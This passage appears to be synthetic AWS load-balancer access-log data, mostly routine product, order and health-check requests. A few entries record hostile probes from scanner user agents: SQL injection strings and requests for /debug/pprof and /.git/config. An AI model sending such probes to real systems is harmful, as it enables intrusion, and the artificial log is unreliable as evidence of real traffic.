arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d218-d611bdf0f89f4619ae71773a" "staging-alb.example.com" "-" 3 2024-11-01T01:53:12.369854Z "forward" "-" "-" "213.106.173.215:8080" "200" "-" "-" +https 2024-11-01T01:53:13.984621Z staging-alb 73.226.173.90:49252 133.163.212.166:8080 0.127234 0.731582 0.076750 200 200 294 12087 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d219-7bdf1e6d6bf9427eb26376f0" "staging-alb.example.com" "-" 8 2024-11-01T01:53:13.984621Z "forward" "-" "-" "133.163.212.166:8080" "200" "-" "-" +https 2024-11-01T01:53:15.856972Z staging-alb 238.104.117.154:31777 236.135.110.229:8080 0.138402 0.016665 0.143236 301 301 822 255 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d21b-0438826b61514cf696855915" "staging-alb.example.com" "-" 0 2024-11-01T01:53:15.856972Z "forward" "-" "-" "236.135.110.229:8080" "301" "-" "-" +https 2024-11-01T01:53:16.882148Z prod-api-alb 239.69.128.225:21406 10.0.82.51:443 0.093407 0.163438 0.080292 200 200 55 9301 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d21c-c40d705d3d2a4aa5a93a799c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:16.882148Z "forward" "-" "-" "10.0.82.51:443" "200" "-" "-" +https 2024-11-01T01:53:18.652727Z prod-web-alb 143.3.46.107:56267 10.0.228.141:443 0.013110 0.413094 0.097291 302 302 310 1080 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d21e-c4b4cb7c1ed049438fe57bce" "prod-web-alb.example.com" "-" 1 2024-11-01T01:53:18.652727Z "forward" "-" "-" "10.0.228.141:443" "302" "-" "-" +http 2024-11-01T01:53:20.016100Z staging-alb 106.23.134.14:15595 210.44.19.124:80 0.091819 0.556806 0.119521 200 200 497 8881 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d220-39bacd730f0a42b9929ab0bf" "staging-alb.example.com" "-" 4 2024-11-01T01:53:20.016100Z "forward" "-" "-" "210.44.19.124:80" "200" "-" "-" +https 2024-11-01T01:53:20.284336Z prod-api-alb 120.99.234.231:18742 10.0.76.157:443 0.066357 0.492739 0.056884 200 200 194 13702 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d220-eaeca5c5225741ce9cf674a3" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:20.284336Z "forward" "-" "-" "10.0.76.157:443" "200" "-" "-" +https 2024-11-01T01:53:21.424148Z prod-web-alb 77.1.148.252:50344 10.0.170.184:443 0.079168 0.238816 0.048152 302 302 99 2159 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d221-6ecba12d29bb4b85b28ccc2f" "prod-web-alb.example.com" "-" 3 2024-11-01T01:53:21.424148Z "forward" "-" "-" "10.0.170.184:443" "302" "-" "-" +https 2024-11-01T01:53:23.410020Z prod-api-alb 144.187.33.38:44331 10.0.61.153:443 0.094349 0.294057 0.069748 200 200 67 295 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d223-bbc463d629f94aff8d89b182" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:23.410020Z "forward" "-" "-" "10.0.61.153:443" "200" "-" "-" +https 2024-11-01T01:53:25.153526Z staging-alb 69.175.62.162:24663 204.233.128.30:8080 0.020115 0.686214 0.025443 200 200 517 4748 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d225-943adff32a4d49b2965da8e4" "staging-alb.example.com" "-" 2 2024-11-01T01:53:25.153526Z "forward" "-" "-" "204.233.128.30:8080" "200" "-" "-" +https 2024-11-01T01:53:25.856689Z staging-alb 86.158.25.19:31045 185.42.177.189:80 0.126242 0.046938 0.139946 200 200 108 5823 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d225-c864cb20bafd40939026e72d" "staging-alb.example.com" "-" 5 2024-11-01T01:53:25.856689Z "forward" "-" "-" "185.42.177.189:80" "200" "-" "-" +https 2024-11-01T01:53:27.465738Z prod-api-alb 217.157.103.251:49841 10.0.143.17:443 0.013621 0.205488 0.026133 200 200 380 1563 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d227-84c77e955bb840cd85bfd1be" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:27.465738Z "forward" "-" "-" "10.0.143.17:443" "200" "-" "-" +http 2024-11-01T01:53:27.652326Z staging-alb 250.142.93.30:52430 126.187.191.168:80 0.053852 0.644770 0.140461 302 302 442 8250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d227-bff94ad0b1fe429bb266ca7f" "staging-alb.example.com" "-" 5 2024-11-01T01:53:27.652326Z "forward" "-" "-" "126.187.191.168:80" "302" "-" "-" +https 2024-11-01T01:53:29.097384Z prod-api-alb 159.228.0.17:42652 10.0.169.91:443 0.073604 0.193432 0.087247 302 302 910 6250 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d229-6857230665dd43068ab21e49" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:29.097384Z "forward" "-" "-" "10.0.169.91:443" "302" "-" "-" +https 2024-11-01T01:53:29.531067Z prod-web-alb 143.58.18.231:62548 10.0.184.44:443 0.023313 0.190614 0.098138 404 404 701 3814 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d229-ab1cbb6609004e09aa996a49" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:29.531067Z "forward" "-" "-" "10.0.184.44:443" "404" "-" "-" +https 2024-11-01T01:53:30.339667Z prod-api-alb 191.199.76.124:29724 10.0.43.158:443 0.037474 0.423995 0.017564 301 301 569 4597 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22a-4fe384267e024f1bbadfaa21" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:30.339667Z "forward" "-" "-" "10.0.43.158:443" "301" "-" "-" +https 2024-11-01T01:53:31.890469Z prod-api-alb 110.175.218.211:41142 10.0.213.166:443 0.024389 0.449878 0.084666 200 200 420 11890 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d22b-3e3717dc47d04cc0a22810d9" "prod-api-alb.example.com" "-" 3 2024-11-01T01:53:31.890469Z "forward" "-" "-" "10.0.213.166:443" "200" "-" "-" +https 2024-11-01T01:53:32.239364Z prod-api-alb 124.159.147.32:31771 10.0.119.22:443 0.025831 0.118719 0.057993 200 200 472 14399 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22c-0cc5f07c8fdb4a0db5a943df" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:32.239364Z "forward" "-" "-" "10.0.119.22:443" "200" "-" "-" +https 2024-11-01T01:53:33.830047Z prod-web-alb 151.4.223.229:24063 10.0.131.182:443 0.059766 0.477535 0.043431 200 200 297 11410 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d22d-b7f604f806a2450d81e6450c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:33.830047Z "forward" "-" "-" "10.0.131.182:443" "200" "-" "-" +https 2024-11-01T01:53:34.389744Z prod-api-alb 104.92.188.123:40016 10.0.212.160:443 0.096181 0.057060 0.098903 301 301 12 3384 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22e-e2d3ebeb828e41eb81c1f97c" "prod-api-alb.example.com" "-" 2 2024-11-01T01:53:34.389744Z "forward" "-" "-" "10.0.212.160:443" "301" "-" "-" +https 2024-11-01T01:53:35.031879Z prod-web-alb 244.10.253.44:55969 10.0.113.83:443 0.026088 0.315711 0.079168 200 200 263 4161 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d22f-08d9bdc6c46d4aee824ec4e3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:53:35.031879Z "forward" "-" "-" "10.0.113.83:443" "200" "-" "-" +https 2024-11-01T01:53:36.109258Z prod-api-alb 139.254.229.191:54403 10.0.194.164:443 0.025229 0.408111 0.029297 302 302 600 12200 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d230-0e1e1592b5104589aec2be67" "prod-api-alb.example.com" "-" 1 2024-11-01T01:53:36.109258Z "forward" "-" "-" "10.0.194.164:443" "302" "-" "-" +http 2024-11-01T01:53:37.575648Z staging-alb 124.52.187.200:18087 236.201.137.58:80 0.097901 0.380582 0.105209 200 200 125 6565 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d231-77f716bfeded4053b7c7839e" "staging-alb.example.com" "-" 7 2024-11-01T01:53:37.575648Z "forward" "-" "-" "236.201.137.58:80" "200" "-" "-" +http 2024-11-01T01:53:37.947865Z staging-alb 16.249.94.122:25776 151.1.146.180:8080 0.019309 0.356273 0.139530 200 200 408 10753 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d231-fcb72e9bb68e475e8cfda752" "staging-alb.example.com" "-" 7 2024-11-01T01:53:37.947865Z "forward" "-" "-" "151.1.146.180:8080" "200" "-" "-" +https 2024-11-01T01:53:38.942838Z prod-web-alb 113.32.229.120:15441 10.0.112.159:443 0.093440 0.429599 0.046292 301 301 313 5115 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d232-acd7db78ee05421fa755a530" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:38.942838Z "forward" "-" "-" "10.0.112.159:443" "301" "-" "-" +https 2024-11-01T01:53:40.710906Z prod-api-alb 185.181.178.132:43437 10.0.199.214:443 0.016250 0.473315 0.095967 500 500 30 7972 "POST /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d234-30c714ab9d484f8ea9807ca1" "-" "-" 4 2024-11-01T01:53:40.710906Z "forward" "-" "-" "10.0.199.214:443" "500" "-" "-" +https 2024-11-01T01:53:41.080366Z prod-api-alb 193.27.228.155:59224 10.0.123.249:443 0.079030 0.171423 0.001424 403 403 681 6888 "GET /debug/pprof HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d235-aab4c67277214d2a88f9a35a" "-" "-" 7 2024-11-01T01:53:41.080366Z "forward" "-" "-" "10.0.123.249:443" "403" "-" "-" +https 2024-11-01T01:53:41.832600Z prod-web-alb 248.48.205.104:10848 10.0.208.178:443 0.037203 0.474610 0.063437 302 302 352 13476 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d235-539547b661a644139436c680" "prod-web-alb.example.com" "-" 8 2024-11-01T01:53:41.832600Z "forward" "-" "-" "10.0.208.178:443" "302" "-" "-" +https 2024-11-01T01:53:42.137623Z prod-api-alb 185.181.129.31:13094 10.0.206.233:443 0.096568 0.176307 0.043815 500 500 982 7944 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d236-c52f2531ac0c4fe1a50f13cb" "-" "-" 7 2024-11-01T01:53:42.137623Z "forward" "-" "-" "10.0.206.233:443" "500" "-" "-" +https 2024-11-01T01:53:42.276312Z prod-web-alb 201.216.101.115:35935 10.0.21.5:443 0.036909 0.240541 0.065431 200 200 235 6579 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d236-d23c735c637d466daa3d3fe9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:42.276312Z "forward" "-" "-" "10.0.21.5:443" "200" "-" "-" +https 2024-11-01T01:53:43.136634Z prod-api-alb 203.117.217.154:52621 10.0.112.239:443 0.077766 0.412779 0.050233 200 200 833 8664 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d237-717c868733eb46e992af03a2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:43.136634Z "forward" "-" "-" "10.0.112.239:443" "200" "-" "-" +https 2024-11-01T01:53:45.062332Z prod-web-alb 141.49.43.132:52557 10.0.163.244:443 0.020152 0.437665 0.068655 200 200 426 4746 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d239-a869bd08d97c475592ca491b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:53:45.062332Z "forward" "-" "-" "10.0.163.244:443" "200" "-" "-" +https 2024-11-01T01:53:46.538626Z prod-api-alb 168.84.233.244:32083 10.0.168.71:443 0.039016 0.312232 0.078846 200 200 504 8641 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d23a-6a218048a9e34522b1af2bc5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:46.538626Z "forward" "-" "-" "10.0.168.71:443" "200" "-" "-" +http 2024-11-01T01:53:47.745210Z staging-alb 203.230.127.239:20429 111.146.79.41:8080 0.005914 0.619982 0.134732 200 200 534 12547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d23b-9b7ab91d5e45491c9078a31a" "staging-alb.example.com" "-" 10 2024-11-01T01:53:47.745210Z "forward" "-" "-" "111.146.79.41:8080" "200" "-" "-" +https 2024-11-01T01:53:49.704572Z prod-api-alb 68.140.5.132:15699 10.0.150.253:443 0.074667 0.038256 0.043299 301 301 766 13547 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d23d-e360e022fe1c44f58a8b1c1e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:49.704572Z "forward" "-" "-" "10.0.150.253:443" "301" "-" "-" +https 2024-11-01T01:53:51.503893Z prod-api-alb 164.115.221.53:29713 10.0.68.51:443 0.075208 0.224410 0.094188 404 404 511 717 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d23f-8a8dcd717351454c9f915ffa" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:51.503893Z "forward" "-" "-" "10.0.68.51:443" "404" "-" "-" +https 2024-11-01T01:53:52.269033Z prod-api-alb 31.54.25.40:47041 10.0.231.82:443 0.078145 0.177769 0.001504 200 200 663 728 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d240-c33018dbbb474209b7b4077b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:52.269033Z "forward" "-" "-" "10.0.231.82:443" "200" "-" "-" +https 2024-11-01T01:53:53.130846Z prod-api-alb 152.222.219.151:51573 10.0.77.106:443 0.096339 0.055152 0.052241 200 200 974 2826 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d241-1bed1333b384474d89a3e2a9" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:53.130846Z "forward" "-" "-" "10.0.77.106:443" "200" "-" "-" +https 2024-11-01T01:53:54.153084Z staging-alb 185.181.166.125:14572 230.9.33.190:8080 0.114072 0.527688 0.040998 301 301 108 9462 "POST /.git/config HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d242-fc3a0bc43e8244089cc07467" "-" "-" 6 2024-11-01T01:53:54.153084Z "forward" "-" "-" "230.9.33.190:8080" "301" "-" "-" +https 2024-11-01T01:53:56.088239Z prod-api-alb 90.170.241.67:38701 10.0.197.72:443 0.046428 0.002845 0.039236 200 200 99 14095 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d244-4ec0603ff3a746cd80ca0e08" "prod-api-alb.example.com" "-" 3 2024-11-01T01:53:56.088239Z "forward" "-" "-" "10.0.197.72:443" "200" "-" "-" +https 2024-11-01T01:53:57.389462Z prod-api-alb 240.191.42.164:24059 10.0.65.218:443 0.039102 0.058630 0.033008 200 200 361 2869 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d245-c4d346960fc7474ab15f2e5a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:57.389462Z "forward" "-" "-" "10.0.65.218:443" "200" "-" "-" +https 2024-11-01T01:53:58.947327Z staging-alb 42.100.168.62:54225 79.88.79.236:80 0.062950 0.536875 0.025272 301 301 893 14394 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d246-78af434b8cbd42e1b84bc631" "staging-alb.example.com" "-" 6 2024-11-01T01:53:58.947327Z "forward" "-" "-" "79.88.79.236:80" "301" "-" "-" +https 2024-11-01T01:53:59.709948Z prod-api-alb 13.54.240.124:47229 10.0.20.143:443 0.067712 0.369704 0.066011 404 404 212 6397 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d247-81e4645d8dac4f8aa14a2b49" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:59.709948Z "forward" "-" "-" "10.0.20.143:443" "404" "-" "-" +https 2024-11-01T01:54:01.642077Z staging-alb 203.97.188.4:15948 14.75.240.29:80 0.112678 0.433029 0.036321 200 200 744 14117 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d249-d1342ed210914b5089bd149e" "staging-alb.example.com" "-" 3 2024-11-01T01:54:01.642077Z "forward" "-" "-" "14.75.240.29:80" "200" "-" "-" +http 2024-11-01T01:54:03.117210Z staging-alb 129.8.238.229:23160 17.254.244.193:80 0.125135 0.241072 0.042832 302 302 676 3479 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d24b-453eedd33b7d4020bf35c108" "staging-alb.example.com" "-" 0 2024-11-01T01:54:03.117210Z "forward" "-" "-" "17.254.244.193:80" "302" "-" "-" +https 2024-11-01T01:54:04.343270Z prod-web-alb 162.119.73.57:54269 10.0.9.113:443 0.071330 0.079284 0.011383 404 404 49 10749 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d24c-ff2adf753c3b45db86dba506" "prod-web-alb.example.com" "-" 2 2024-11-01T01:54:04.343270Z "forward" "-" "-" "10.0.9.113:443" "404" "-" "-" +https 2024-11-01T01:54:05.061620Z prod-api-alb 149.86.13.66:33827 10.0.210.56:443 0.059506 0.267450 0.020887 200 200 864 5421 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d24d-67afecfda0154962880cb889" "prod-api-alb.example.com" "-" 4 2024-11-01T01:54:05.061620Z "forward" "-" "-" "10.0.210.56:443" "200" "-" "-" +https 2024-11-01T01:54:06.024027Z prod-web-alb 123.21.63.198:51150 10.0.194.179:443 0.012488 0.494218 0.004818 200 200 969 6159 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 